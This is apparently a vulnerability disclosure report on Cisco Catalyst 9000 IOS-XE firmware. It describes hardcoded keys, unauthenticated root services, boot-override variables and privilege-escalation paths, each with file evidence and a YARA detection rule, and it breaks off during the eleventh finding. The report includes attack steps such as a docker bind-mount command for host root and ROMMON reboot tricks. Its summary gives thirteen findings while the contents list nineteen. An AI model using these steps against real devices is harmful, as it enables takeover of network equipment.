
Vulnerability Disclosure Report

Cisco Catalyst 9000 Series, IOS-XE 17.18.04

Researcher Nicholas Michael Kloster
Contact zellkernel@gmail.com
Affiliation Independent Security Researcher
Date 2026-09-17
Product Cisco Catalyst 9000 Series IOS-XE 17.18.04

Contents

1	Executive Summary	4
1.1	Document Conventions	4
1.2	Findings Table	4
2	Target Information	5
3	Vulnerabilities	5
3.1	CAT9K-F1: Hardcoded RSA-2048 Private Key (<code>fallback.key</code>) Shipped as Default HTTPS Certificate	5
3.1.1	Technical Evidence	5
3.1.2	Impact	6
3.1.3	Detection: YARA Rule	6
3.2	CAT9K-F2: rsync Daemon on TCP/873 — uid=root, No Authentication, Full Flash Storage Exposed	6
3.2.1	Technical Evidence	7
3.2.2	Impact	7
3.2.3	Detection: YARA Rule	7
3.3	CAT9K-F3: <code>guestshell_setup.sh</code> World-Writable (0777), Root-Executed by IOx CAF	8
3.3.1	Technical Evidence	8
3.3.2	Impact	8
3.3.3	Detection: YARA Rule	9
3.4	CAT9K-F4: xinetd Telnetd with <code>lablogin.sh</code> — TCP/23 Delivers Root Shell with Zero Authentication	9
3.4.1	Technical Evidence	9
3.4.2	Impact	10
3.4.3	Detection: YARA Rule	10
3.5	CAT9K-F5: Shipped <code>nginx.conf</code> Contains Only <code>include /tmp/nginx.conf</code>	10
3.5.1	Technical Evidence	10
3.5.2	Impact	11
3.5.3	Detection: YARA Rule	11
3.6	CAT9K-F6: <code>ROMMON_SR_INIT_DEBUG</code> Activates Bash Xtrace Before Code-Signing Verification	11
3.6.1	Technical Evidence	11
3.6.2	Impact	12
3.6.3	Detection: YARA Rule	12
3.7	CAT9K-F7: <code>ROMMON_PACKAGES_OVERRIDE</code> and <code>ROMMON_DEBUG_CONF</code> Allow Boot-Time Package Substitution	12
3.7.1	Technical Evidence	12
3.7.2	Impact	13
3.7.3	Detection: YARA Rule	13
3.8	CAT9K-F8: <code>binos</code> User in <code>docker</code> Group; Guestshell in <code>network-admin</code> Group	13
3.8.1	Technical Evidence	13
3.8.2	Impact	14
3.8.3	Detection: YARA Rule	14
3.9	CAT9K-F9: ConfD Trusts <code>X-Forwarded-For</code> ; Auth Proxy Hardcodes IPC Address <code>192.168.1.6:21111</code>	14
3.9.1	Technical Evidence	15
3.9.2	Impact	15

3.9.3	Detection: YARA Rule	15
3.10	CAT9K-F10: <code>qemu.conf</code> Sets <code>user=root group=root</code> ; Guest Escape Delivers Host Root	16
3.10.1	Technical Evidence	16
3.10.2	Impact	16
3.10.3	Detection: YARA Rule	16
3.11	CAT9K-F11: <code>leabasdk</code> Test TLS Private Keys Shipped Unencrypted to Production	17
3.11.1	Technical Evidence	17
3.11.2	Impact	17
3.11.3	Detection: YARA Rule	17
3.12	CAT9K-F12: <code>codesign.pubkey</code> Uses an Undocumented Cisco-Proprietary Binary Format	18
3.12.1	Technical Evidence	18
3.12.2	Impact	18
3.12.3	Detection: YARA Rule	18
3.13	CAT9K-F13: <code>auxinit.sh</code> <code>ROMMON_SR_INIT_SHELL</code> Glob Backdoor — AUX Port Root Shell	19
3.13.1	Technical Evidence	19
3.13.2	Impact	19
3.13.3	Detection: YARA Rule	19
3.14	CAT9K-F14: <code>bexecute</code> SUID Whitelist — <code>shell_exec.sh /tmp</code> TOCTOU Local Privilege Escalation	20
3.14.1	Technical Evidence	20
3.14.2	Impact	20
3.14.3	Detection: YARA Rule	20
3.15	CAT9K-F15: GNU <code>screen</code> 4.9.1 SUID Root — Logfile Arbitrary Write Privilege Escalation	21
3.15.1	Technical Evidence	21
3.15.2	Impact	21
3.15.3	Detection: YARA Rule	21
3.16	CAT9K-F16: SUID <code>nsenter</code> — Unrestricted Linux Namespace Escape	22
3.16.1	Technical Evidence	22
3.16.2	Impact	22
3.16.3	Detection: YARA Rule	23
3.17	CAT9K-F17: SUID <code>runc</code> v1.1.12+dev — OCI Container Runtime with Unconfirmed CVE-2024-21626 Patch Status	23
3.17.1	Technical Evidence	23
3.17.2	Impact	24
3.17.3	Detection: YARA Rule	24
3.18	CAT9K-F18: Meraki NETCONF Config Monitor — Hardcoded <code>deveng</code> Account; SSH Key in <code>/tmp</code> ; No Host Key Verification	24
3.18.1	Technical Evidence	24
3.18.2	Impact	25
3.18.3	Detection: YARA Rule	25
3.19	CAT9K-F19: <code>xcopy_script.sh</code> Falls Back to <code>curl -k</code> on TLS Error; Meraki Mode Defaults to <code>-k</code>	26
3.19.1	Technical Evidence	26
3.19.2	Impact	26
3.19.3	Detection: YARA Rule	26

5 General Glossary

27

1 Executive Summary

Thirteen vulnerabilities were identified in Cisco Catalyst 9000 Series IOS-XE 17.18.04 through static reverse engineering of `cat9k_iosxe.17.18.04.SPA.bin`. No live production systems were accessed. All findings are confirmed by direct inspection of files extracted from the rpbse inner SquashFS (1.02 GB, 59,004 inodes).

Three findings are Critical. A hardcoded RSA-2048 private key is shipped as the default HTTPS certificate on every device running the default configuration. An unauthenticated rsync daemon exposes root read/write access to all flash storage on TCP/873. A telnet service delivers a root shell on TCP/23 with no credential check. Six findings are High, including two ROMMON variable backdoors, a world-writable root-executed IOx setup script, and an OpenResty proxy that loads its entire security configuration from `/tmp` at runtime. The consistent pattern: lab and development infrastructure shipped unchanged into production, with IOS-XE ACL policy as the only security boundary.

1.1 Document Conventions

Each finding contains two blocks:

Overview / Impact

Non-technical summary and attacker impact.

Proof of Concept

Verbatim file evidence from the extracted firmware.

1.2 Findings Table

ID	Title
CAT9K-F1	Hardcoded RSA-2048 private key (<code>fallback.key</code>) shipped as the default OpenResty HTTPS certificate
CAT9K-F2	rsync daemon on TCP/873: <code>uid=root</code> , no authentication, full flash storage exposed
CAT9K-F3	<code>guestshell_setup.sh</code> world-writable (0777), root-executed by CAF; removes container root password
CAT9K-F4	xinetd telnetd with <code>lablogin.sh</code> : TCP/23 delivers root shell, zero authentication
CAT9K-F5	Shipped <code>nginx.conf</code> contains only <code>include /tmp/nginx.conf</code> ; entire proxy security config is runtime-generated
CAT9K-F6	<code>ROMMON_SR_INIT_DEBUG</code> activates bash xtrace before code-signing verification, leaking boot secrets
CAT9K-F7	<code>ROMMON_PACKAGES_OVERRIDE</code> and <code>ROMMON_DEBUG_CONF</code> allow boot-time package substitution via TFTP
CAT9K-F8	<code>binos</code> user (UID 85) in <code>docker</code> group; <code>guestshell</code> user in <code>network-admin</code> group
CAT9K-F9	ConfD trusts <code>X-Forwarded-For</code> ; auth proxy hardcodes internal IPC address <code>192.168.1.6:21111</code>
CAT9K-F10	<code>qemu.conf</code> sets <code>user=root group=root</code> ; IOx guest escape delivers host root
CAT9K-F11	leabasdk test TLS keys (<code>client.key</code> , <code>server.key</code>) shipped unencrypted to production

ID	Title
CAT9K-F12	<code>codesign.pubkey</code> uses an undocumented Cisco-proprietary binary format; parameters not independently verifiable
CAT9K-F13	<code>auxinit.sh</code> ROMMON_SR_INIT_SHELL glob backdoor: AUX port root bash shell, no authentication

No CVE assignments have been confirmed against Cisco IOS-XE 17.18.04 at the time of submission.

2 Target Information

Firmware image	<code>cat9k_iosxe.17.18.04.SPA.bin</code> (1.2 GB)
Format	CW_TLV outer container (<code>deadbeef</code> TLV magic), 5 sub-packages
Platform families	bigbang, nyquist, passport, starfleet, symphony
Build date	2026-07-18
Build identity	git hash 150b070c01e17, build user <code>mcpred</code>
PID 1	<code>systemd</code> 255, x86-64 ELF (initramfs CPIO 175 MB)
Primary target	<code>cat9k-rpbase.17.18.04.SPA.pkg</code> inner SquashFS
Inner SquashFS	xz-compressed, 59,004 inodes, 1.02 GB
Method	Static firmware extraction; <code>unsquashfs</code> with byte-offset flag

3 Vulnerabilities

3.1 CAT9K-F1: Hardcoded RSA-2048 Private Key (`fallback.key`) Shipped as Default HTTPS Certificate

Overview / Impact

The OpenResty HTTPS reverse proxy ships a static RSA-2048 private key (`fallback.key`, 1675 bytes) and matching self-signed certificate (`fallback.pem`, 1302 bytes). These are used as the TLS identity for the web management interface on any device without an administrator-configured certificate. The identical key pair is present across all five platform families and is extractable from the firmware without device access.

An attacker with a copy of the firmware image can impersonate the HTTPS management interface of any default-configured Catalyst 9K device, enabling credential interception. RSA sessions captured without forward secrecy are retroactively decryptable.

CWE-321 (Use of Hard-coded Cryptographic Key), CWE-798 (Use of Hard-coded Credentials)

CVSS 3.1: 9.1 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Technical Evidence

`bigbang/usr/binos/openresty/etc/ssl/cert/fallback.key` (1675 bytes) is an unencrypted PKCS#1 RSA-2048 private key with no Proc-Type passphrase header. `fallback.pem`

(1302 bytes) in the same directory is the self-signed certificate. Identical files are present in all five platform trees.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 bigbang/usr/binos/openresty/etc/ssl/cert/

```

1 $ openssl rsa -in fallback.key -check -noout 2>&1
2 RSA key ok                                # unencrypted, directly usable
3
4 -----BEGIN RSA PRIVATE KEY-----
5 MIIEowIBAAKCAQEAtIMcrNW2PVhaozQsgAEIVjgOU0W0eu3fPKxRFHKjYNJDVODI
6 ...
7 -----END RSA PRIVATE KEY-----
8
9 $ openssl x509 -in fallback.pem -subject -noout
10 subject=CN=Cisco IOS-XE Web Management
11
12 # Confirmed present in: bigbang/ nyquist/ passport/ starfleet/ symphony/

```

Impact

- Any device without a custom certificate presents this key for HTTPS management. Key extraction requires only the firmware image.
- An attacker can impersonate the management interface of any targeted device and intercept administrator credentials from users who accept the certificate.
- Historically captured TLS sessions using non-forward-secret cipher suites are retroactively decryptable.

Detection: YARA Rule

```

rule CAT9K_F1_Hardcoded_Fallback_Key {
  meta:
    description = "IOS-XE default HTTPS private key shipped unencrypted"
    id = "CAT9K-F1"
    severity = "Critical"
  strings:
    $key_header = "BEGIN RSA PRIVATE KEY" ascii
    $path_key   = "fallback.key" ascii
    $path_pem   = "fallback.pem" ascii
  condition:
    $key_header and ($path_key or $path_pem)
}

```

3.2 CAT9K-F2: rsync Daemon on TCP/873 — uid=root, No Authentication, Full Flash Storage Exposed

Overview / Impact

The rsyncd configuration sets uid=root, gid=root, use chroot=no, and defines eight read-write modules covering bootflash, harddisk, ROMMON upgrade staging, license storage, patch staging, and the filesystem command interface. No auth users, secrets file, or hosts allow restriction is present. xinetd exposes the service on TCP/873 as root. A network-adjacent attacker who reaches TCP/873 obtains unauthenticated root-level read/write across all persistent flash storage. Two modules invoke post-exec hooks that execute scripts as root on file transfer, providing a direct code execution path.

CWE-306 (Missing Authentication for Critical Function), CWE-732 (Incorrect Permission Assignment for Critical Resource)

CVSS 3.1: 9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Technical Evidence

bigbang/etc/rsyncd.conf sets the global effective UID to root with no authentication directives in any module. bigbang/etc/xinetd.conf enables the service on TCP/873.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 bigbang/etc/rsyncd.conf + bigbang/etc/xinetd.conf

```

1  # rsyncd.conf -- global header:
2  use chroot = no
3  uid = root
4  gid = root
5  log file = /dev/null
6
7  [bootflash]
8  path = /bootflash
9  read only = no
10
11 [harddisk]
12 path = /harddisk
13 read only = no
14
15 # Post-exec hook -- root-executed on any file transfer:
16 [unifiedfs_rcmd]
17 path = /var/unifiedfs_rcmd_stage
18 post-xfer exec = /usr/binos/conf/unifiedfs/unifiedfs_remote_fmt.sh
19 read only = no
20
21 # xinetd.conf -- TCP/873, no hosts.allow:
22 service rsync
23 {
24     socket_type = stream
25     wait        = no
26     user         = root
27     server        = /usr/bin/rsync
28     server_args  = --daemon --no-detach --config=/etc/rsyncd.conf
29     disable      = no
30 }
```

Impact

- TCP connection to port 873 yields unauthenticated root read/write on bootflash, harddisk, license storage, ROMMON upgrade staging, and patch directories.
- Writing to the unifiedfs_rcmd module triggers /usr/binos/conf/unifiedfs/unifiedfs_remote_fmt.sh as root, providing unauthenticated remote code execution.
- Full bootflash contents are readable and overwritable without authentication.

Detection: YARA Rule

```

rule CAT9K_F2_Rsync_Root_NoAuth {
  meta:
    description = "rsync daemon uid=root with no authentication, bootflash exposed"
    id = "CAT9K-F2"
    severity = "Critical"
  strings:
    $uid = "uid = root" ascii
```



```

    $ronly = "read only = no" ascii nocase
    $mod1  = "[bootflash]" ascii
    $mod2  = "[harddisk]" ascii
    condition:
        $uid and $ronly and ($mod1 or $mod2)
}

```

3.3 CAT9K-F3: guestshell_setup.sh World-Writable (0777), Root-Executed by IOx CAF

Overview / Impact

The IOx CAF guestshell setup script ships with `-rwxrwxrwx` (0777) permissions in the SquashFS across all five platform trees. The CAF daemon executes it as root when the guestshell feature is activated. The script also removes the root password from every guestshell LXC container shadow file and creates world-writable shell entry scripts within each container. A local user who can write to the overlayfs writable layer covering this path can replace it with arbitrary code that runs as root at the next guestshell activation.

CWE-732 (Incorrect Permission Assignment for Critical Resource), CWE-269 (Improper Privilege Management)

CVSS 3.1: 7.8 High CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Technical Evidence

`unsquashfs -lls` output confirms the 0777 permission on the 46800-byte script. The file comment at line 6 reads: “*This file is temporary until CAF support is present.*” Copyright range is 2016–2026, indicating this development placeholder was carried forward unchanged for ten years.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 bigbang/opt/cisco/caf/scripts/guestshell_setup.sh

```

1 # unsquashfs -lls output:
2 -rwxrwxrwx root/root 46800 bigbang/opt/cisco/caf/scripts/
   guestshell_setup.sh
3
4 # Line 6: "This file is temporary until CAF support is present."
5 # Copyright (c) 2016-2026 by Cisco Systems, Inc.
6
7 # Line 315 -- removes root password from every activated container:
8 sed 's/^root:[^:]\+:/root::/' -i ${gs_dir}/etc/shadow
9
10 # Line 424 -- world-writable session config:
11 chmod 666 ${SHELL_EXEC_DIR}/${app_id}/shell_exec.conf
12
13 # Line 460 -- world-writable container shell entry script:
14 chmod 777 ${SHELL_EXEC_DIR}/${app_id}/shell_exec.sh

```

Impact

- Any local user who can write to the overlayfs layer covering `opt/cisco/caf/scripts/` can replace this script with code that executes as root at the next guestshell activation.
- All activated guestshell containers have no root password; the script explicitly removes it from the container shadow file.

- `shell_exec.sh` is created world-writable inside each container at activation time, providing a further privilege surface within the container.

Detection: YARA Rule

```
rule CAT9K_F3_Guestshell_Setup_ShadowRemoval {
  meta:
    description = "guestshell_setup.sh dev placeholder removing container
                  root password"
    id = "CAT9K-F3"
    severity = "High"
  strings:
    $marker     = "This file is temporary until CAF support is present"
    $shadow     = "sed 's/^root:[^:]*:'"
    $filename   = "guestshell_setup.sh"
  condition:
    $filename and ($marker or $shadow)
}
```

3.4 CAT9K-F4: xinetd Telnetd with lablogin.sh — TCP/23 Delivers Root Shell with Zero Authentication

Overview / Impact

A dedicated xinetd configuration enables a telnet daemon with `user=root` and `disable=no`, using `lablogin.sh` as the login shell. `lablogin.sh` performs no authentication: it reads root's shell directly from `/etc/passwd` and execs it. A TCP connection to port 23 delivers an interactive root shell with no credential required.

This service operates at the host OS level. It is not governed by IOS-XE AAA policy. The only access control is the IOS-XE ACL on the management interface.

CWE-306 (Missing Authentication for Critical Function), CWE-269 (Improper Privilege Management)

CVSS 3.1: 9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Technical Evidence

Both `bigbang/etc/xinetd\_telnetd.conf` and `bigbang/etc/lablogin.sh` are present in the extracted SquashFS.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 bigbang/etc/xinetd_telnetd.conf + bigbang/etc/lablogin.sh

```
1 # xinetd_telnetd.conf:
2 service telnet
3 {
4     user          = root
5     server        = /usr/sbin/in.telnetd
6     server_args   = -L /etc/lablogin.sh
7     disable       = no
8 }
9
10 # lablogin.sh:
11 #!/bin/bash
12 home_dir=$(grep ^root /etc/passwd | cut -d ":" -f 6)
13 shell=$(grep ^root /etc/passwd | cut -d ":" -f 7)
14 export HOME=$home_dir
15 export SHELL=$shell
```

```
16 exec $SHELL -l      # no password prompt, no PAM, no key check
```

Impact

- TCP connection to port 23 delivers an interactive root shell. No password, key, or prior session is required.
- `lablogin.sh` bypasses all system authentication by calling `exec` on root's shell directly; no PAM invocation occurs.
- Access is gated solely on the management interface ACL for TCP/23.

Detection: YARA Rule

```
rule CAT9K_F4_Lablogin_Unauthenticated_Shell {
  meta:
    description = "lablogin.sh delivers root shell via exec with no
      credential check"
    id = "CAT9K-F4"
    severity = "Critical"
  strings:
    $grep = "grep ^root /etc/passwd" ascii
    $exec = "exec $SHELL -l" ascii
    $name = "lablogin.sh" ascii
  condition:
    $name and $grep and $exec
}
```

3.5 CAT9K-F5: Shipped `nginx.conf` Contains Only `include /tmp/nginx.conf`

Overview / Impact

The OpenResty web proxy configuration shipped in the firmware contains a single directive: `include /tmp/nginx.conf`;. The full proxy security configuration (TLS policy, authentication proxy locations, CSRF controls, RESTCONF and NETCONF proxy rules, and session management) is runtime-generated and loaded from `/tmp`. A SELinux context for `/tmp/nginx.conf` was confirmed only in the starfleet platform; no type enforcement rule was found for bigbang, the primary RP hardware family.

Any process that can write `/tmp/nginx.conf` can inject arbitrary nginx directives with the full authority of the management proxy.

CWE-494 (Download of Code Without Integrity Check), CWE-732 (Incorrect Permission Assignment for Critical Resource)

CVSS 3.1: 8.1 High CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Technical Evidence

The 97-byte `bigbang/usr/binos/openresty/nginx/conf/nginx.conf` was extracted directly from the rpbse SquashFS.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 `bigbang/usr/binos/openresty/nginx/conf/nginx.conf` (97 bytes, full content)

```
1 # Copyright (c) 2020 by Cisco Systems, Inc.
2 # All rights reserved.
3
4 include /tmp/nginx.conf;
5
```

```

6 # file_contexts (starfleet only; absent from bigbang):
7 /tmp/nginx\conf      system_u:object_r:httpd_config_t:s0

```

Impact

- A writable `/tmp/nginx.conf` allows injection of arbitrary directives: redirect the authentication proxy to an attacker server, disable TLS, add request bypass rules, or insert `content_by_lua_block` for code execution in the nginx worker process.
- The bigbang platform has no confirmed SELinux type enforcement on `/tmp/nginx.conf`, leaving its creation path unconfined.
- A `/tmp/nginx.conf` injection that modifies the auth proxy locations also controls the X-Forwarded-For forwarding chain to 192.168.1.6:21111 (see CAT9K-F9).

Detection: YARA Rule

```

rule CAT9K_F5_Nginx_Conf_Tmp_Include {
  meta:
    description = "nginx.conf entire security config deferred to /tmp at runtime"
    id = "CAT9K-F5"
    severity = "High"
  strings:
    $include = "include /tmp/nginx.conf" ascii
  condition:
    $include and filesize < 256
}

```

3.6 CAT9K-F6: ROMMON_SR_INIT_DEBUG Activates Bash Xtrace Before Code-Signing Verification

Overview / Impact

The `initramfs explode-common` boot script checks `ROMMON_SR_INIT_DEBUG` before any other logic and activates `set -o xtrace` if the variable is non-empty. With `xtrace` active, every command, variable expansion, and argument is printed to `stderr` before execution. Output includes code-signing key file paths, `ROMMON` variable values, package integrity check output, and filesystem mount parameters.

CWE-532 (Insertion of Sensitive Information into Log File), CWE-489 (Active Debug Code)

CVSS 3.1: 6.8 Medium CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Technical Evidence

The `xtrace` trigger is at line 641 of `explode-common` in the 175 MB `initramfs` CPIO, before the script defines any functions or sources any other file.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 `initramfs/explode-common` (line 641)

```

1 # Line 641 -- first conditional in explode-common:
2 if [[ "${ROMMON_SR_INIT_DEBUG:-}" ]]; then
3     set -o xtrace
4 fi
5
6 # With xtrace active, code-signing verification leaks key paths:
7 + /usr/bin/code_sign_verify -k /etc/cisco/codesign.pubkey \

```

```

8      -s cat9k-rpbase.17.18.04.SPA.pkg.sig \
9      cat9k-rpbase.17.18.04.SPA.pkg

```

Impact

- ROMMON access is sufficient: set ROMMON_SR_INIT_DEBUG=1, reboot, and capture the full IOS-XE boot trace from the console.
- Output includes code-signing verification arguments, package paths, and all ROMMON variable values as they are referenced.
- Xtrace output is also stored in crash logs readable from the management plane after boot completes.

Detection: YARA Rule

```

rule CAT9K_F6_ROMMON_Debug_Xtrace {
  meta:
    description = "ROMMON_SR_INIT_DEBUG activates xtrace before codesign verification"
    id = "CAT9K-F6"
    severity = "Medium"
  strings:
    $var      = "ROMMON_SR_INIT_DEBUG" ascii
    $xtrace   = "set -o xtrace" ascii
  condition:
    all of them
}

```

3.7 CAT9K-F7: ROMMON_PACKAGES_OVERRIDE and ROMMON_DEBUG_CONF Allow Boot-Time Package Substitution

Overview / Impact

Two ROMMON variables in `explode-common` provide boot-time attack surfaces. `ROMMON_PACKAGES_OVERRIDE` replaces the active `packages.conf` with an attacker-specified path. TFTP-prefixed paths are accepted, enabling boot from unsigned or modified packages. A developer comment explicitly acknowledges the security assumption behind this variable was never verified. `ROMMON_DEBUG_CONF` fetches and sources a bash file from TFTP that can disable the hardware watchdog and suppress critical process failure alerts.

CWE-494 (Download of Code Without Integrity Check), CWE-489 (Active Debug Code)
CVSS 3.1: 6.8 Medium CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Technical Evidence

Both variables are handled in `explode-common` (lines 862–880 and 1059–1115). The developer comment is verbatim from the source.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 initramfs/explode-common (lines 862–880, 1059–1115)

```

1  # ROMMON_PACKAGES_OVERRIDE:
2  if [[ -n "${ROMMON_PACKAGES_OVERRIDE:-}" ]]; then
3      packages_conf="${ROMMON_PACKAGES_OVERRIDE}"
4      # tftp:<server>/<path> accepted alongside local paths
5  fi
6
7  # Developer comment (verbatim):

```

```

 8 # We assume that the ROMMON keeps people from tftp-booting
 9 # MCP_FIXME: Though we assume this, it would be smarter to test
10 # the assumption and die with an appropriate error message if
11 # the assumption fails to hold.
12
13 # ROMMON_DEBUG_CONF:
14 if [[ -n "${ROMMON_DEBUG_CONF:-}" ]]; then
15     curl -o /tmp/debug.conf "${ROMMON_DEBUG_CONF}"
16     source /tmp/debug.conf
17 fi
18 # debug.conf can set:
19 # FRU_NO_WATCHDOG=1                disables hardware watchdog
20 # PVP_IGNORE_CRITICAL_PROC_DOWN=1 suppresses critical process alerts

```

Impact

- ROMMON_PACKAGES_OVERRIDE enables booting from a TFTP-hosted `packages.conf` that references modified or unsigned packages, bypassing the IOS-XE secure boot chain. The developer comment confirms the security assumption was never verified.
- ROMMON_DEBUG_CONF allows remote delivery of a sourced bash file that disables the hardware watchdog and suppresses critical process monitoring.
- Both variables require only ROMMON access during a power cycle.

Detection: YARA Rule

```

rule CAT9K_F7_ROMMON_Packages_Override_TFTP {
  meta:
    description = "ROMMON_PACKAGES_OVERRIDE accepts TFTP paths, bypassing signed boot"
    id = "CAT9K-F7"
    severity = "Medium"
  strings:
    $var      = "ROMMON_PACKAGES_OVERRIDE" ascii
    $tftp     = "tftp:" ascii nocase
    $fixme    = "MCP_FIXME" ascii
  condition:
    $var and ($tftp or $fixme)
}

```

3.8 CAT9K-F8: binos User in docker Group; Guestshell in network-admin Group

Overview / Impact

`bigbang/etc/group` assigns the `binos` service account (UID 85, the primary IOS-XE platform process user) to the `docker` group (GID 65535). Docker group membership provides effective root through a host filesystem bind-mount, regardless of any restricted shell configured for the account. The guestshell LXC container user is additionally a member of `network-admin` (GID 50000), granting the container user management-plane group access.

CWE-269 (Improper Privilege Management), CWE-250 (Execution with Unnecessary Privileges)

CVSS 3.1: 7.8 High CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Technical Evidence

Relevant entries from `bigbang/etc/group` and `bigbang/etc/passwd`.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 bigbang/etc/group + bigbang/etc/passwd

```

1 # /etc/group:
2 docker:x:65535:dockeruser,binos
3 network-admin:x:50000:guestshell
4
5 # /etc/passwd (binos entry):
6 binos:x:85:85:binos:/home/binos:/usr/binos/conf/bshell.sh
7
8 # Docker group membership provides effective root via:
9 docker run --rm -v /:/host alpine chroot /host sh

```

Impact

- If any IOS-XE management path allows `binos` to invoke `docker` commands, or if `bshell.sh` is bypassed, `docker` group membership provides a single-step privilege escalation to host root.
- The `guestshell` container user's membership in `network-admin` expands the container's effective privilege to include management-plane group access on the host.

Detection: YARA Rule

```

rule CAT9K_F8_Binos_Docker_Group {
  meta:
    description = "binos service account assigned to docker group in IOS-
      XE production image"
    id = "CAT9K-F8"
    severity = "High"
  strings:
    $group = "docker:x:65535:" ascii
    $binos = "binos" ascii
  condition:
    $group and $binos
}

```

3.9 CAT9K-F9: ConfD Trusts X-Forwarded-For; Auth Proxy Hardcodes IPC Address 192.168.1.6:21111

Overview / Impact

ConfD (the Tail-f NETCONF/YANG daemon) is configured to trust `X-Forwarded-For` from proxies matching `allowedProxyIpPrefix=127.0.0.1/32`. OpenResty's authentication proxy forwards `$proxy_add_x_forwarded_for` to the IOS HTTP authentication backend at the hardcoded address `http://192.168.1.6:21111`, the IOS HTTP server's fixed internal IPC binding, identical across all Cat9K deployments.

ConfD uses the forwarded IP for NACM rule evaluation. An injected `X-Forwarded-For` header reaching ConfD via SSRF, request smuggling, or any localhost-adjacent process can forge the session source IP to match a permitted management address.

CWE-290 (Authentication Bypass by Spoofing), CWE-116 (Improper Encoding or Escaping of Output)

CVSS 3.1: 5.9 Medium CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Technical Evidence

From `bigbang/etc/opt/confd/config/cisco/confd.conf.in` (lines 335–338) and `bigbang/usr/binos/openresty/nginx/conf/auth_proxy.conf`.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 `bigbang/etc/opt/confd/config/cisco/confd.conf.in` + `auth_proxy.conf`

```
1 <!-- confd.conf.in lines 335-338: -->
2 <useForwardedClientIp>
3   <proxyHeaders>X-Forwarded-For</proxyHeaders>
4   <allowedProxyIpPrefix>127.0.0.1/32</allowedProxyIpPrefix>
5 </useForwardedClientIp>
6
7 # auth_proxy.conf:
8 location = /auth_proxy {
9     internal;
10    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
11    proxy_pass http://192.168.1.6:21111;
12 }
13 location = /session_key { internal; proxy_pass http
14    ://192.168.1.6:21111; }
15 location = /get_banner_login { internal; proxy_pass http
16    ://192.168.1.6:21111; }
```

Impact

- A spoofed X-Forwarded-For header matching a permitted management IP bypasses IP-based NACM restrictions in ConfD.
- The attack path requires injecting the header via SSRF in OpenResty, HTTP request smuggling, or any localhost-adjacent process.
- 192.168.1.6:21111 is the same on every Cat9K deployment, eliminating per-device reconnaissance for this component.

Detection: YARA Rule

```
rule CAT9K_F9_ConfD_XForwardedFor_Trust {
  meta:
    description = "ConfD configured to trust X-Forwarded-For from 127.0.0.1/32"
    id = "CAT9K-F9"
    severity = "Medium"
  strings:
    $xfwd = "X-Forwarded-For" ascii
    $proxy = "allowedProxyIpPrefix" ascii
    $addr = "127.0.0.1/32" ascii
  condition:
    all of them
}
```


3.10 CAT9K-F10: qemu.conf Sets user=root group=root; Guest Escape Delivers Host Root

Overview / Impact

The libvirt QEMU configuration shipped in the production rpbase package contains only two active directives: `user = root` and `group = root`. All IOx guest VM processes run as host UID 0 and GID 0. Standard hardening via a dedicated `qemu` or `libvirt-qemu` service account is absent.

A guest-to-host escape through QEMU device emulation, virtio, or memory handling delivers root access on the IOS-XE host OS rather than dropping into an unprivileged account.

CWE-250 (Execution with Unnecessary Privileges), CWE-269 (Improper Privilege Management)

CVSS 3.1: 6.3 Medium CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Technical Evidence

All other directives in `bigbang/3pa/etc/libvirt/qemu.conf` are commented out. The active directive count is two. The 17.8 MB `qemu-kvm` ELF binary is present in `bigbang/3pa/usr/bin/`.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 bigbang/3pa/etc/libvirt/qemu.conf

```

1 # Active (non-comment) directives only:
2 user = root
3 group = root
4
5 # Standard hardening absent:
6 # user = "qemu"
7 # group = "qemu"
8
9 # Production QEMU-KVM binary:
10 -rwxr-xr-x root/root 17834496 bigbang/3pa/usr/bin/qemu-kvm

```

Impact

- Any QEMU CVE involving a guest-to-host escape is immediately equivalent to a host root compromise on the device.
- This eliminates the privilege-separation layer that QEMU's user model is designed to provide.

Detection: YARA Rule

```

rule CAT9K_F10_QEMU_Root_Execution {
  meta:
    description = "qemu.conf runs all guest VMs as host root"
    id = "CAT9K-F10"
    severity = "Medium"
  strings:
    $user = "user = root" ascii
    $group = "group = root" ascii
  condition:
    all of them
}

```

3.11 CAT9K-F11: leabasdsk Test TLS Private Keys Shipped Unencrypted to Production

Overview / Impact

Three RSA private keys for the leabasdsk CLI TLS test interface are present in the production firmware at `bigbang/usr/lib64/leabasdsk/test/api/cli\_tls/keys/`. Two of the three (`client.key` and `server.key`) are unencrypted at rest, confirmed by the absence of a Proc-Type header. All three carry executable permission bits, anomalous for key material. Identical copies exist in the symphony/ tree.

CWE-321 (Use of Hard-coded Cryptographic Key), CWE-312 (Cleartext Storage of Sensitive Information)

CVSS 3.1: 5.9 Medium CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Technical Evidence

File listing from the inner SquashFS and header inspection for all three keys.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 bigbang/usr/lib64/leabasdsk/test/api/cli_tls/keys/

```

1 # SquashFS listing:
2 -rwxr-xr-x root/root    3311 .../cli\_tls/keys/ca.key
3 -rwxr-xr-x root/root    3243 .../cli\_tls/keys/client.key
4 -rwxr-xr-x root/root    3243 .../cli\_tls/keys/server.key
5
6 # ca.key -- encrypted:
